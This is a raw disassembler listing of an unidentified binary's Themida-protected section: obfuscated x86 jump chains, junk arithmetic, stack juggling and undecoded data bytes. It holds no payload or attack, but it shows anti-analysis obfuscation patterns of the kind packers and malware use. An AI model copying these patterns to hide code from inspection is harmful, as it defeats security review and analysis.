		dd 815BDA89h, 0F238F7EAh, 5AD589D0h, 0E5C1DDF7h, 6E5C105h
		dd 4C581h, 0EF014073h, 55242C8Bh, 2420E9h, 9CBF5700h, 2916EB22h
		dd 0F0015FF8h, 0EB229C05h, 0E9535E16h, 0FFFFB399h, 0E924248Bh
		dd 0AE9h, 15BDD31h, 2434FFEEh, 0E189515Dh, 36A3BA52h, 0E2C11047h
		dd 0F7524203h, 875A2414h, 0E9D6F7F2h, 0FFFFB7F2h
; ---------------------------------------------------------------------------


loc_54EAF0:				; CODE XREF: Themida_:005488DDj
		add	ecx, 6EE54F0Fh
		shr	ecx, 4
		not	ecx
		jmp	loc_54E2A2
; ---------------------------------------------------------------------------


loc_54EB00:				; CODE XREF: Themida_:0054AA8Bj
		sub	esp, 4
		jmp	loc_550806
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4AAB6851h, 81590730h, 9FBC62E9h, 59CF0112h, 5D8CE957h
		dd 2C31FFFFh, 242C3324h, 0FF765FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EB2D:				; CODE XREF: Themida_:005492B8j
		or	ecx, 71BB3D84h
		add	ecx, 0ACCACC4Fh
		push	ecx
		jmp	loc_54531E
; ---------------------------------------------------------------------------


loc_54EB3F:				; CODE XREF: Themida_:0054E5D8j
		xor	edi, esi
		pop	esi
		jmp	loc_54E5BA
; ---------------------------------------------------------------------------
		db 54h
		dd 8124048Bh, 4C4h, 39E95600h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EB57:				; CODE XREF: Themida_:0054A68Dj
		pop	edx
		push	ecx
		jmp	loc_55051B
; ---------------------------------------------------------------------------


loc_54EB5E:				; CODE XREF: Themida_:0054F387j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, esi
		jmp	loc_54CFAA
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 9EB235Ah, 1C8BD831h,	51E95024h
		db 0Dh,	2 dup(0)
byte_54EB83	db 0FFh			; DATA XREF: Themida_:005445A8o
		dd 669D1C77h, 241CD259h, 5B15E99Ch, 8BB9FFFFh, 817CA445h
		dd 60DD37E9h, 8E5BE920h, 0D500FFFFh, 59E8305Ah,	5358C100h
		dd 0C381E389h, 4, 1F0FE9h, 0EB815900h, 5A475E22h, 3AE9F301h
		dd 52000020h, 4BAh, 0E9D60100h,	16DFh, 15BDE01h, 0C9D9E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EBDE:				; CODE XREF: Themida_:00548C6Fj
		add	esp, 4
		sub	ebp, 72A11094h
		jmp	loc_54DC03
; ---------------------------------------------------------------------------
		db 87h
		dd 248B240Ch, 9234E924h, 815BFFFFh, 4C4h, 89F28100h, 14C587Ch
		dd 3C875AD7h, 24248B24h, 24048B66h, 81E18951h, 4C1h, 4E98300h
		dd 5C240C87h, 54241489h, 0FFA3F2E9h, 148B66FFh,	10E95024h
		dd 81FFFFFFh, 0B96E9DF1h, 0F1814914h, 3D57332Ah, 0D8F4E981h
		dd 0CF01330Bh, 22A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EC51:				; CODE XREF: Themida_:00550201j
		push	ecx
		push	ebp
		mov	ebp, 1D8E05A0h
		mov	ecx, 659C711Eh
		jmp	loc_54C4D9
; ---------------------------------------------------------------------------


loc_54EC62:				; CODE XREF: Themida_:0054E24Ej
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_5488FA
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0FFE1B5E9h, 505266FFh, 0E4D018B4h, 0FF794CE9h
		db 0FFh
byte_54EC91	db 0ACh, 0E9h, 44h	; DATA XREF: Themida_:00544530o
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EC97:				; CODE XREF: Themida_:005466E7j
		xor	ecx, 63D72FD0h
		push	esi
		mov	esi, 627B5178h
		or	ecx, esi
		pop	esi
		and	ecx, 447F30B5h
		dec	ecx
		inc	ecx
		push	esi
		jmp	loc_548871
; ---------------------------------------------------------------------------
		dd 798DC381h, 0EB017F28h, 798DEB81h, 15D7F28h, 0C97DE9C3h
		dd 0D8E9FFFFh, 5BFFFF59h, 8B240487h, 8B662424h,	11E9240Ch
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ECDF:				; CODE XREF: Themida_:00548AF8j
		mov	edx, 37A12E82h
		sub	edx, 37A12A82h
		mov	esi, edx
		pop	edx
		jmp	loc_54E3EA
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0FFF03104h, 348B2434h, 0E2895224h, 4BE56h, 5BE90000h
		dd 0E900000Dh, 0FFFF5997h
; ---------------------------------------------------------------------------


loc_54ED10:				; CODE XREF: Themida_:0054C993j
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_548044
; ---------------------------------------------------------------------------


loc_54ED1E:				; CODE XREF: Themida_:005452A7j
		sub	edi, 82CBC043h
		add	ecx, edi
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_545430
		push	dword ptr [edi+1Ch]
		jmp	loc_54B97C
; ---------------------------------------------------------------------------


loc_54ED42:				; CODE XREF: Themida_:0054E3BEj
		mov	edi, edx
		jmp	loc_546E07
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544910
; ---------------------------------------------------------------------------
dword_54ED64	dd 240C8B66h, 48D68h, 24348900h, 24348B54h, 4C481h, 30E90000h
					; DATA XREF: Themida_:00544404o
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ED7F:				; CODE XREF: Themida_:00548D4Cj
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_550C42
; ---------------------------------------------------------------------------
word_54ED8E	dw 34FFh		; DATA XREF: Themida_:00544574o
		dd 24048B24h, 57E28952h, 8E037FBFh, 7BEF8155h, 1558E03h
		dd 68515FFAh, 29BE5B8Bh, 0A9E94959h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EDB3:				; CODE XREF: Themida_:0054E176j
		pop	ebx
		push	edi
		jmp	loc_54903A
; ---------------------------------------------------------------------------


loc_54EDBA:				; CODE XREF: Themida_:005510BCj
		pop	eax
		add	esp, 4
		sub	eax, 751A6043h
		sub	esp, 4
		mov	[esp], eax
		sub	dword ptr [esp], 655B0987h
		pop	ebp
		add	ebp, 655B0987h
		jmp	loc_544C0C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9E38953h, 0C4Fh, 0E9240489h, 0FFFF6E5Dh
; ---------------------------------------------------------------------------


loc_54EDF0:				; CODE XREF: Themida_:0054C34Fj
		pop	ebx
		mov	[edi+20h], edx
		mov	edx, [esp]
		push	edi
		jmp	loc_54AEB4
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0A4h
		dd 0E9FFFF58h, 0FFFF589Fh, 4C481h, 93680000h, 89000065h
		dd 0B951241Ch, 22B501DFh, 67E9D9F7h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EE23:				; CODE XREF: Themida_:0054E459j
		xor	eax, edx
		push	esi
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_54E300
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 8D218BABh, 0D3E9CB29h, 5CFFFFF0h, 89243C89h,	4C781E7h
		dd 0E9000000h, 0FFFFEDC9h, 81E28952h, 4C2h, 4EA8100h, 68000000h
		dd 6CCFh, 0FF9967E9h, 0C6E950FFh, 89000001h, 0E8B9240Ch
		dd 0C12A4514h, 0E98106E1h, 73C428C0h, 0FFC52FE9h, 81E189FFh
		dd 4ECh, 242C8900h, 4BDh, 0C278E900h, 3489FFFFh, 0A1D8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EEA2:				; CODE XREF: Themida_:005461D2j
		push	edi
		push	3B9D147Fh
		pop	edi
		push	edx
		push	eax
		mov	eax, 20582B7Ah
		push	edi
		push	6B6Dh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 74C72A51h
		and	ebx, 8012389h
		sub	ebx, 32C14A0Ch
		jmp	loc_54FFC1
; ---------------------------------------------------------------------------
dword_54EED0	dd 726968h, 24148900h, 0FF57CAE9h, 0EE0858FFh, 46B45059h
					; DATA XREF: Themida_:005445CCo
		dd 0C03DEC80h, 0DCF608E4h, 0E9E6EC80h, 0FFFF6853h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC83240Ch, 24148904h
		dd 1BAh, 4815200h, 3A128124h, 240C8B7Ch, 4C481h, 0BD550000h
		dd 48362A82h, 2713C581h, 0ACE944D0h, 81FFFF5Ch,	0DDD866F1h
		dd 59CF09F1h, 78D9F781h, 0CF816C09h, 578512CEh,	57EAEF81h
		dd 0F801579Fh, 2C0835Fh, 4EC81h, 4890000h, 2474FF24h, 48F5804h
		dd 24248B24h, 24048B66h, 4EC81h, 15E90000h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EF7B:				; CODE XREF: Themida_:00547964j
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_549141
; ---------------------------------------------------------------------------


loc_54EF9B:				; CODE XREF: Themida_:0054A255j
		shl	ebx, 4
		dec	ebx
		add	ebx, 0B9D6DAFDh
		add	ebx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		add	eax, 75C43B29h
		add	eax, ebx
		sub	eax, 75C43B29h
		jmp	loc_54E9EE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3C892424h, 0EDDDE924h, 875AFFFFh, 87E9241Ch,	5AFFFFD5h
		dd 0BEE9F828h, 33FFFF95h, 3C31243Ch, 243C3324h,	241C895Ch
		dd 8093B151h, 0E980FFE9h, 59CF8878h, 0F786DFF6h, 0F786CEFEh
		dd 0F668h, 24148900h, 24E9B3B6h, 57000004h, 5B5545BFh
		dd 0E6C7815Fh, 29A7DCE3h, 0BB535FF9h, 1, 0F75BD901h, 7481E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F02E:				; CODE XREF: Themida_:005487F0j
		and	ch, dh
		jmp	loc_549CF8
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C6290000h, 0DFE95658h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F043:				; CODE XREF: Themida_:0054B2DEj
		xor	ecx, 3CF4567Dh
		jmp	loc_55133E
; ---------------------------------------------------------------------------
off_54F04E	dd offset dword_58C268	; DATA XREF: Themida_:00544470o
		dw 8900h
		dd 0E789243Ch, 0FF9942E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F05D:				; CODE XREF: Themida_:0054909Aj
		mov	ebx, esi
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_545DDC
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF53DA87h, 0E95B240Ch, 0FFFF7FADh, 89243489h, 0FB41E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F086:				; CODE XREF: Themida_:0054C6D1j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54C964
; ---------------------------------------------------------------------------


loc_54F097:				; CODE XREF: Themida_:00547EEDj
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54B6D9
; ---------------------------------------------------------------------------
		dw 9ABAh
		dd 8178BA48h, 451917CAh, 81DAF73Ah, 0A665F2h, 5AD70185h
		dd 0FF8DDDE9h, 0E95D59FFh, 0FFFFEBA5h, 56241C89h, 0DE55BC68h
		dd 2434FF04h, 0E389535Eh, 4C381h, 0FAE90000h, 8300000Eh
		dd 0A7E904ECh, 81FFFFF7h, 7671A3EBh, 19EB8111h,	31B67991h
		dd 0D0015BDAh, 770C685Ah, 75E90000h, 8FFFFFB2h,	248B2404h
		dd 2434FF24h, 0E92434FFh, 0FFFFBFEAh, 9C56272Dh, 78F9E90Ah
		dd 148BFFFFh, 49EC6824h, 3C890000h, 63EAE924h, 0EFC1FFFFh
		dd 6372E904h, 2C33FFFFh, 242C3124h, 5C242C33h, 0FF6593E9h
		dd 0E7CE81FFh, 81103275h, 0AE4FEAF6h, 6423E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F15A:				; CODE XREF: Themida_:00546841j
		pop	edi
		add	edx, 54BC06B3h
		add	edx, ebp
		sub	edx, 54BC06B3h
		pop	ebp
		jmp	loc_5490E5
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFE1D6E9h, 0C58166FFh, 896671CFh, 242C8BEAh, 1CD4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F185:				; CODE XREF: Themida_:0054B808j
		xor	dl, 7
		push	bx
		mov	bh, 3Ch
		sub	dl, bh
		pop	bx
		dec	dl
		push	cx
		mov	cl, 0DBh
		or	dl, cl
		jmp	loc_546097
; ---------------------------------------------------------------------------


loc_54F19D:				; CODE XREF: Themida_:00550CA2j
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	eax, 35AD324Ch
		jmp	loc_54F702
; ---------------------------------------------------------------------------
		dd 0EB80E2B3h, 0A8CB8031h, 0C008E3C0h, 0D3F604E3h, 0FF9A1CE9h
		dd 81E789FFh, 4C7h, 0EEE95100h
		db 6Eh,	2 dup(0FFh)
byte_54F1D3	db 66h			; DATA XREF: Themida_:00544644o
		dd 5624048Bh, 5651E689h, 0F64EE2BEh, 5EF1895Ah,	7737E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F1EA:				; CODE XREF: Themida_:0054B430j
		pop	edx
		add	edx, 4
		jmp	loc_54D681
; ---------------------------------------------------------------------------
		dw 5451h
		dd 4C18159h, 0E9000000h, 0FFFFA4C3h
; ---------------------------------------------------------------------------


loc_54F204:				; CODE XREF: Themida_:00545F46j
		pop	ebp
		jmp	loc_54D524
; ---------------------------------------------------------------------------


loc_54F20A:				; CODE XREF: Themida_:0054BA88j
		pop	eax
		shl	ebx, 8
		jmp	loc_5447CE
; ---------------------------------------------------------------------------


loc_54F213:				; CODE XREF: Themida_:0054A27Fj
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54742D
; ---------------------------------------------------------------------------


loc_54F21F:				; CODE XREF: Themida_:0054E0DAj
		sub	ecx, 1
		jmp	loc_546897
; ---------------------------------------------------------------------------
word_54F22A	dw 8B66h		; DATA XREF: Themida_:00544560o
		dd 5452240Ch, 4C2815Ah,	56000000h, 0EAB95152h, 896F2A24h
		dd 0E28159CAh, 0F6F0C67h, 5FCCCA81h, 0EA812DEBh, 2FEB5FECh
		dd 148BD689h, 0E0895024h, 0FF73C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F261:				; CODE XREF: Themida_:0054CFDCj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_54D764
; ---------------------------------------------------------------------------


loc_54F26D:				; CODE XREF: Themida_:0054B325j
		mov	[esp], ebp
		jmp	loc_54BBE0
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 12h
		dd 8168E96Ah, 4A6ECEEEh, 5EF289C6h, 1481E955h, 0BFB90000h
		dd 0F73E1771h, 0FB9CE9D1h, 0C281FFFFh, 0E6E06763h, 148BD301h
		dd 4C48324h, 0BF57C329h, 16BB7EBAh, 5681EF81h, 56516C3Ah
		dd 86466368h, 4CE95E5Bh
		db 8Ah,	2 dup(0FFh)
byte_54F2BF	db 0FFh			; DATA XREF: Themida_:005445E8o
		dd 669D1C77h, 2414D359h, 6FFBE99Ch, 0F381FFFFh,	32912480h
		dd 6208F405h, 2DD80103h, 36208F4h, 7938E95Bh
		db 2 dup(0FFh)
word_54F2E6	dw 7268h		; DATA XREF: Themida_:00544484o
		dd 8900001Dh, 8950242Ch, 405E0h, 0E8830000h, 24048704h
		dd 243C895Ch, 771419BFh, 0D7F74F27h, 0E908EFC1h, 0FFFFB5F5h
		db 5Dh,	29h, 0D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	60394B0Bh
		pop	ecx
		xchg	edx, ecx
		dec	edx
		xor	ecx, edx
		xor	edx, ecx
		jmp	loc_54B69D
; ---------------------------------------------------------------------------
		dd 0B62DE959h, 525DFFFFh, 164AE9h
		db 0
byte_54F345	db 66h,	8Bh, 4		; DATA XREF: Themida_:005445F4o
aWhzk		db '$Wh‡K',0
		dw 6800h
		dd 5E9Bh, 0FF537AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F359:				; CODE XREF: Themida_:005454A7j
		pop	edi
		pop	ecx
		jmp	loc_54BE48
; ---------------------------------------------------------------------------
		dd 9045C281h, 0D0018897h, 2404875Ah, 0D324248Bh, 0E99C243Ch
		dd 0FFFF532Fh
; ---------------------------------------------------------------------------


loc_54F378:				; CODE XREF: Themida_:0054B244j
		and	edi, 65342BEDh
		xor	edi, 21242244h
		add	ebp, edi
		pop	edi
		jmp	loc_54EB5E
; ---------------------------------------------------------------------------
		dd 24348755h, 0A2E9D6F7h, 52FFFF8Ah, 0CA80A2B2h, 0E95366E7h
		dd 0FFFF7FB6h, 81E28952h, 4C2h,	4C28100h, 87000000h, 835C2414h
		dd 92E901C6h, 0E9FFFF7Eh, 0FFFF52E3h, 8106E2C1h, 0F63AD8F2h
		dd 81DAF765h, 24A090C2h, 0E9D1317Dh, 0FFFFE102h, 2896664h
		dd 0FF52C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F3E5:				; CODE XREF: Themida_:00550C48j
		push	edx
		mov	edx, 19D16431h
		sub	esi, edx
		pop	edx
		neg	esi
		shr	esi, 3
		or	esi, 0E824ACEh
		xor	esi, 1EDADFCAh
		add	eax, esi
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5508F1
; ---------------------------------------------------------------------------
		db 57h
		dd 0CD7BCBBFh, 19EF8109h, 0C147837Dh, 0F78106E7h, 12A00519h
		dd 0C103EFC1h, 0FE906E7h, 30FFFF6Ah, 0EF805AF7h, 748AE928h
		dd 0C301FFFFh, 0FF763EE9h, 74FF56FFh, 0E95E0424h, 0FFFF8411h
; ---------------------------------------------------------------------------


loc_54F450:				; CODE XREF: Themida_:00544F31j
		and	ebx, 65901F96h
		push	eax
		mov	eax, 7D174C44h
		or	eax, 190407ECh
		sub	eax, 57B77B3Fh
		shl	eax, 8
		xor	eax, 22B43A98h
		sub	eax, 4C4840CBh
		jmp	loc_54BA86
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FFB829E9h, 4EC81FFh, 89000000h, 0B850243Ch
		dd 6EAC45E4h, 48BC789h,	4C48324h, 9285E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F49E:				; CODE XREF: Themida_:00546FF1j
		mov	eax, 5D492A4Eh
		neg	eax
		jmp	loc_54D3F3
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 2050000h, 87000000h,	515C2404h, 68661DB5h, 2C280000h
		dd 242C8A24h, 858E950h,	0E8010000h, 0A14A802Dh,	0BE95D4Eh
		db 1Bh,	2 dup(0)
byte_54F4DB	db 0FFh			; DATA XREF: Themida_:00544510o
		dd 685A2434h, 5FCh, 0E9241489h,	0FFFF7A8Eh, 0E99CC138h
		dd 0FFFF51B3h, 0DE0389BDh, 5EDC157h, 621FCD81h,	0F5812796h
		dd 27BEF21Bh, 875DE801h, 575C2404h, 4D4E68h, 24248900h
		dd 4240481h, 5F000000h,	2E00BE56h, 0F6813523h, 2F165EEh
		dd 166AE9h
		db 0
; ---------------------------------------------------------------------------


loc_54F531:				; CODE XREF: Themida_:0054C224j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_550D4D
		push	dword ptr [edi+28h]
		jmp	loc_550E67
; ---------------------------------------------------------------------------


loc_54F550:				; CODE XREF: Themida_:0055120Aj
		or	ebx, esi
		pop	esi
		not	ebx
		push	ecx
		mov	ecx, 39E71C3h
		xor	ecx, 4B3B542Dh
		sub	ecx, 62B13272h
		not	ecx
		xor	ecx, 5CAC4E35h
		jmp	loc_54C929
; ---------------------------------------------------------------------------


loc_54F574:				; CODE XREF: Themida_:00545125j
		push	2089h
		jmp	loc_547AE0
; ---------------------------------------------------------------------------
		dw 0EEC0h
		dd 9C5AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F586:				; CODE XREF: Themida_:0054ACC1j
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_5453D4
; ---------------------------------------------------------------------------
		dd 28E9EA01h, 87FFFFACh, 0E95C240Ch, 0FFFF7A36h, 0C8B60F66h
		dd 0E99C5166h, 0FFFF50FBh, 511D6866h, 0FF7C22E9h, 48B66FFh
		dd 9374E924h, 0B951FFFFh, 1BE06136h, 2959C801h,	61362DC8h
		dd 0C8B1BE0h, 0FB99E924h, 0D831FFFFh, 0E9241C8Bh, 0FFFF8174h
; ---------------------------------------------------------------------------


loc_54F5E0:				; CODE XREF: Themida_:00549E8Aj
		popf
		retn
; ---------------------------------------------------------------------------
		dw 0C0E9h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F5E7:				; CODE XREF: Themida_:0054752Dj
		inc	al
		sub	al, 1Ah
		add	al, 9Fh
		jmp	loc_54A9B2
; ---------------------------------------------------------------------------


loc_54F5F2:				; CODE XREF: Themida_:00546F6Fj
		mov	edx, 694D1EF6h
		jmp	loc_5488C5
; ---------------------------------------------------------------------------
		dd 3E81C681h, 1EE97E67h, 80FFFFEBh, 0FA88FDF7h,	6CDE685Bh
		dd 1C890000h, 0D2B324h,	0B2525BDAh, 0FEC2FE8Dh,	5E45E9CAh
		dd 0E1D1FFFFh, 7388E955h, 0E883FFFFh, 7E95004h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F637:				; CODE XREF: Themida_:005463A9j
		pop	dword ptr [esp]
		jmp	loc_54B028
; ---------------------------------------------------------------------------


loc_54F63F:				; CODE XREF: Themida_:005455FAj
		mov	edi, 40C00106h
		and	edi, 1A71DAAh
		sub	edi, 1
		jmp	loc_54FA0C
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 9C506624h, 0FF5046E9h, 0B4C981FFh, 8146980Dh, 0F24FBCE9h
		dd 0DAC98164h, 8124745Ah, 0A2327EE1h, 0E9D9F728h, 0FFFFF8B7h
		dd 6C289B05h, 7BBF5773h, 0E952405Ch, 0FFFFD35Fh, 478BE56h
		dd 0E94E67DEh, 0FFFF8683h
; ---------------------------------------------------------------------------


loc_54F69C:				; CODE XREF: Themida_:005508F8j
		xchg	eax, ebp
		push	ecx
		push	ebx
		mov	ebx, 4C545FE8h
		shl	ebx, 5
		xchg	edx, ebx
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	edx, ecx
		jmp	loc_54A6E3
; ---------------------------------------------------------------------------


loc_54F6B6:				; CODE XREF: Themida_:005457D6j
		sub	edi, esi
		jmp	loc_544FC9
; ---------------------------------------------------------------------------
		db 83h,	0EBh, 4
		dd 0E9241C87h, 0B0Ch, 8124148Bh, 4C4h, 0CFC78100h, 8169696Ah
		dd 0E6EC9EFh, 0ADE2E951h, 0C301FFFFh, 1BC2E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F6E9:				; CODE XREF: Themida_:005487FDj
		sub	[esp+4], edi
		jmp	loc_546E5E
; ---------------------------------------------------------------------------
		dw 0C6BBh
		dd 81359F79h, 1BFD94F3h, 0B575E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F702:				; CODE XREF: Themida_:0054F1ABj
		push	small word ptr [eax]
		jmp	loc_5472AA
; ---------------------------------------------------------------------------
		dw 483h
		dd 0E9580424h, 0FFFFDEB0h, 0D2E2E951h, 0C381FFFFh, 558F1054h
		dd 2647C381h, 0E9561FF0h, 0FFFFC47Ch
; ---------------------------------------------------------------------------


loc_54F72C:				; CODE XREF: Themida_:00549045j
		and	ebp, edi
		jmp	loc_54BD5A
; ---------------------------------------------------------------------------
		align 4
		dd 32E951E8h, 0D00000Ch, 47C56FF1h, 0CB38DD05h,	4E8C12Ch
		dd 0B841BA05h, 58C68977h, 6D43EE81h, 0F5017F82h, 8124348Bh
		dd 4C4h, 0F4B85000h, 0E9244522h, 0FFFF682Eh, 5C55E1B8h
		dd 0DC33E911h, 4BDFFFFh, 0E9000000h, 0FFFFFE10h
dword_54F780	dd 0CDE951ACh		; DATA XREF: Themida_:00544650o
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F787:				; CODE XREF: Themida_:00544FD0j
		shl	edi, 2
		jmp	loc_54519E
; ---------------------------------------------------------------------------


loc_54F78F:				; CODE XREF: Themida_:0054BD4Aj
		mov	[esp], ebx
		jmp	loc_54DFA3
; ---------------------------------------------------------------------------
		db 52h
		dd 5567A6BAh, 1FF2811Bh, 893CB546h, 68565AD5h, 7EFA344Dh
		dd 5EF5095Eh, 0FFF06BE9h, 70C381FFh, 5135207Eh,	9D6B7EB9h
		dd 9F5EE970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F7C6:				; CODE XREF: Themida_:0054C850j
		push	ecx
		jmp	loc_55103B
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 89662424h, 0C5E9240Ch, 31FFFFFDh,	3C33243Ch
		dd 24248B24h, 0FFC52DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F7E9:				; CODE XREF: Themida_:0054CD39j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54E399
; ---------------------------------------------------------------------------
		db 0BAh, 0B8h, 20h
		dd 0EA810BBFh, 66D428D0h, 4207E2C1h, 23BBCA81h,	8DE9052Eh
		dd 900000Ch, 0E99C2404h, 0FFFF4E8Fh
; ---------------------------------------------------------------------------


loc_54F818:				; CODE XREF: Themida_:0054C21Ej
		push	edx
		jmp	loc_54B108
; ---------------------------------------------------------------------------
		dw 84E9h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F823:				; CODE XREF: Themida_:00548EDCj
		add	eax, 275F6208h
		add	eax, ebp
		sub	eax, 275F6208h
		jmp	loc_54AF83
; ---------------------------------------------------------------------------
		dd 12454F6h, 8E5C059h, 3008C580h, 240C8BE8h, 3004C483h
		dd 0C0B60FC3h, 87048F66h, 0FF4E52E9h, 531705FFh, 55B2006h
		dd 7BAE3E34h, 0FF7128E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F865:				; CODE XREF: Themida_:00545CFFj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 18C869B0h
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_54C3FA
; ---------------------------------------------------------------------------


loc_54F883:				; CODE XREF: Themida_:00548635j
		add	esp, 4
		jmp	loc_5478F5
; ---------------------------------------------------------------------------


loc_54F88E:				; CODE XREF: Themida_:00548A30j
		sub	ecx, 107857BFh
		sub	ecx, 52BE3B12h
		push	edx
		mov	edx, 60D05282h
		or	ecx, edx
		jmp	loc_54667E
; ---------------------------------------------------------------------------
byte_54F8A7	db 0FFh			; DATA XREF: Themida_:0054456Co
		dd 48B2434h, 4EC8324h, 0FFF7C7E9h, 83CB2FFh, 0C05A66D7h
		dd 0C7FE08EFh, 8002EFC0h, 41E985C7h, 0FF000007h, 0E9042474h
		dd 0FFFF831Ch, 0BD55E089h, 8A41828h, 42C4BF57h,	0C7813F18h
		dd 4CED31D0h, 0C76F781h, 23E9FBD0h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F8F3:				; CODE XREF: Themida_:0054C5B1j
		or	eax, 589A2C8Eh
		xor	eax, 0C23EA62Dh
		add	ebx, eax
		pop	eax
		add	dword ptr [ebx], 1
		mov	ebx, [esp]
		jmp	loc_5455DE
; ---------------------------------------------------------------------------


loc_54F90E:				; CODE XREF: Themida_:00548A0Bj
		push	ecx
		mov	ecx, 1439ED6Ah
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_54C492
; ---------------------------------------------------------------------------
		db 5Fh,	56h, 0BEh
		dd 4, 9CE9F701h, 81000019h, 8719E9EDh, 94F1E910h, 8B54FFFFh
		dd 0C481240Ch, 4, 4C181h, 0E9810000h, 4, 2474FF51h, 48F5904h
		dd 3C895C24h, 51E78924h, 4B9h, 59CF0100h, 8D5CE951h, 0EAC1FFFFh
		dd 4CF28104h, 13E210Fh,	19ABE9D0h, 34FF0000h, 24048B24h
		dd 0E95E5456h, 0FFFFCEEDh
; ---------------------------------------------------------------------------


loc_54F994:				; CODE XREF: Themida_:00548B32j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 54BD0F16h
		and	edx, 78DD1C95h
		neg	edx
		not	edx
		add	edx, 3116188Ch
		shl	edx, 3
		push	ecx
		mov	ecx, 6EB00E03h
		add	edx, ecx
		jmp	loc_54D5BC
